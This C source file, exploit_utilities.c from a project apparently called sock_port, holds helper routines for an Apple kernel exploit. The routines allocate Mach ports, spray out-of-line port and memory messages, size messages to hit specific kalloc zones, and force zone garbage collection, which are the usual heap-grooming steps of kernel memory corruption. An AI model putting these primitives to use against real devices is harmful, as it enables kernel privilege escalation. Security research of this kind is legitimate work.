//
//  exploit_utilities.c
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#import "exploit_utilities.h"

mach_port_t new_mach_port() {
    mach_port_t port = MACH_PORT_NULL;
    kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (ret) {
        printf("[-] failed to allocate port\n");
        return MACH_PORT_NULL;
    }
    
    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (ret) {
        printf("[-] failed to insert right\n");
        mach_port_destroy(mach_task_self(), port);
        return MACH_PORT_NULL;
    }
    
    mach_port_limits_t limits = {0};
    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
    ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT);
    if (ret) {
        printf("[-] failed to increase queue limit\n");
        mach_port_destroy(mach_task_self(), port);
        return MACH_PORT_NULL;
    }
    
    return port;
}

kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
    struct simple_msg *msg = malloc(msg_size);
    
    memset(msg, 0, sizeof(struct simple_msg));
    
    msg->hdr.msgh_remote_port = destination;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = msg_size;
    msg->hdr.msgh_id = 0x41414141;
    
    memcpy(&msg->buf[0], buffer, size);
    
    kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
        printf("[-] failed to send message\n");
        mach_port_destroy(mach_task_self(), destination);
        free(msg);
        return ret;
    }
    free(msg);
    return KERN_SUCCESS;
}

struct simple_msg* receive_message(mach_port_t source, mach_msg_size_t size) {
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
    struct simple_msg *msg = malloc(msg_size);
    memset(msg, 0, sizeof(struct simple_msg));
 
    kern_return_t ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, msg_size, source, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
        printf("[-] failed to receive message: 0x%x (%s)\n", ret, mach_error_string(ret));
        return NULL;
    }
    
    return msg;
}

int send_ool_ports(mach_port_t where, mach_port_t target_port, int count, int dcount, int disposition) {
    kern_return_t ret;
    
    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
    for (int i = 0; i < count; i++) {
        ports[i] = target_port;
    }
    
    struct ool_ports_msg* msg = (struct ool_ports_msg*)calloc(1, sizeof(struct ool_ports_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * dcount);
    
    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_ports_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * dcount);
    msg->hdr.msgh_remote_port = where;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;
    
    msg->body.msgh_descriptor_count = dcount;
    
    for (int i = 0; i < dcount; i++) {
        msg->ool_ports[i].address = ports;
        msg->ool_ports[i].count = count;
        msg->ool_ports[i].deallocate = 0;
        msg->ool_ports[i].disposition = disposition;
        msg->ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
        msg->ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;
    }
                       
    ret = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    
    free(msg);
    free(ports);
    
    if (ret) {
        printf("[-] Failed to send OOL ports: 0x%x (%s)\n", ret, mach_error_string(ret));
        return KERN_FAILURE;
    }
    
    return 0;
}

int send_ool_message(mach_port_t where, void *buf, mach_msg_size_t size, int dcount) {
    kern_return_t ret;
    
    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg) + sizeof(mach_msg_ool_descriptor_t) * dcount);
   
    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_msg) + sizeof(mach_msg_ool_descriptor_t) * dcount);
    msg->hdr.msgh_remote_port = where;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;
    
    msg->body.msgh_descriptor_count = dcount;
    
    for (int i = 0; i < dcount; i++) {
        msg->ool_messages[i].address = buf;
        msg->ool_messages[i].size = size;
        msg->ool_messages[i].deallocate = 0;
        msg->ool_messages[i].type = MACH_MSG_OOL_DESCRIPTOR;
        msg->ool_messages[i].copy = MACH_MSG_VIRTUAL_COPY;
    }
                       
    ret = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    
    free(msg);
    
    if (ret) {
        printf("[-] Failed to send OOL message: 0x%x (%s)\n", ret, mach_error_string(ret));
        return KERN_FAILURE;
    }
    
    return 0;

    
    return ret;
}

#define USER_HEADER_SIZE_DELTA 8
mach_msg_size_t message_size_for_kalloc_size(mach_msg_size_t kalloc_size) {
    return (kalloc_size - MAX_TRAILER_SIZE - USER_HEADER_SIZE_DELTA - sizeof(struct simple_msg));
    //return ((3 * kalloc_size) / 4) - 0x74;
}

void trigger_gc() {
    const int gc_ports_cnt = 1000;
    int gc_ports_max = gc_ports_cnt;
    mach_port_t gc_ports[gc_ports_cnt] = { 0 };
    
    uint32_t body_size = (uint32_t)message_size_for_kalloc_size(16384) - sizeof(struct simple_msg); // 1024
    uint8_t *body = (uint8_t*)malloc(body_size);
    memset(body, 0x41, body_size);
    
    for (int i = 0; i < gc_ports_cnt; i++) {
        uint64_t t0, t1;
        
        t0 = 0;// mach_absolute_time();
        
        gc_ports[i] = new_mach_port();
        send_message(gc_ports[i], body, body_size);
        
        t1 = 0; //mach_absolute_time();
        
        if (t1 - t0 > 1000000) {
            printf("[+] got gc at %d -- breaking\n", i);
            gc_ports_max = i;
            break;
        }
    }
    
    for (int i = 0; i < gc_ports_max; i++) {
        mach_port_destroy(mach_task_self(), gc_ports[i]);
    }
    
    sched_yield();
    sleep(1);
}

void hexdump(const void* data, size_t size) {
    char ascii[17];
    size_t i, j;
    ascii[16] = '\0';
    for (i = 0; i < size; ++i) {
        printf("%02X ", ((unsigned char*)data)[i]);
        if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
            ascii[i % 16] = ((unsigned char*)data)[i];
        } else {
            ascii[i % 16] = '.';
        }
        if ((i+1) % 8 == 0 || i+1 == size) {
            printf(" ");
            if ((i+1) % 16 == 0) {
                printf("|  %s \n", ascii);
            } else if (i+1 == size) {
                ascii[(i+1) % 16] = '\0';
                if ((i+1) % 16 <= 8) {
                    printf(" ");
                }
                for (j = (i+1) % 16; j < 16; ++j) {
                    printf("   ");
                }
                printf("|  %s \n", ascii);
            }
        }
    }
}

void increase_file_limit() {
    struct rlimit rl = {};
    getrlimit(RLIMIT_NOFILE, &rl);
    rl.rlim_cur = 10240;
    rl.rlim_max = rl.rlim_cur;
    setrlimit(RLIMIT_NOFILE, &rl);
}

void set_nonblock(int fd) {
    int flags = fcntl(fd, F_GETFL);
    flags |= O_NONBLOCK;
    fcntl(fd, F_SETFL, flags);
}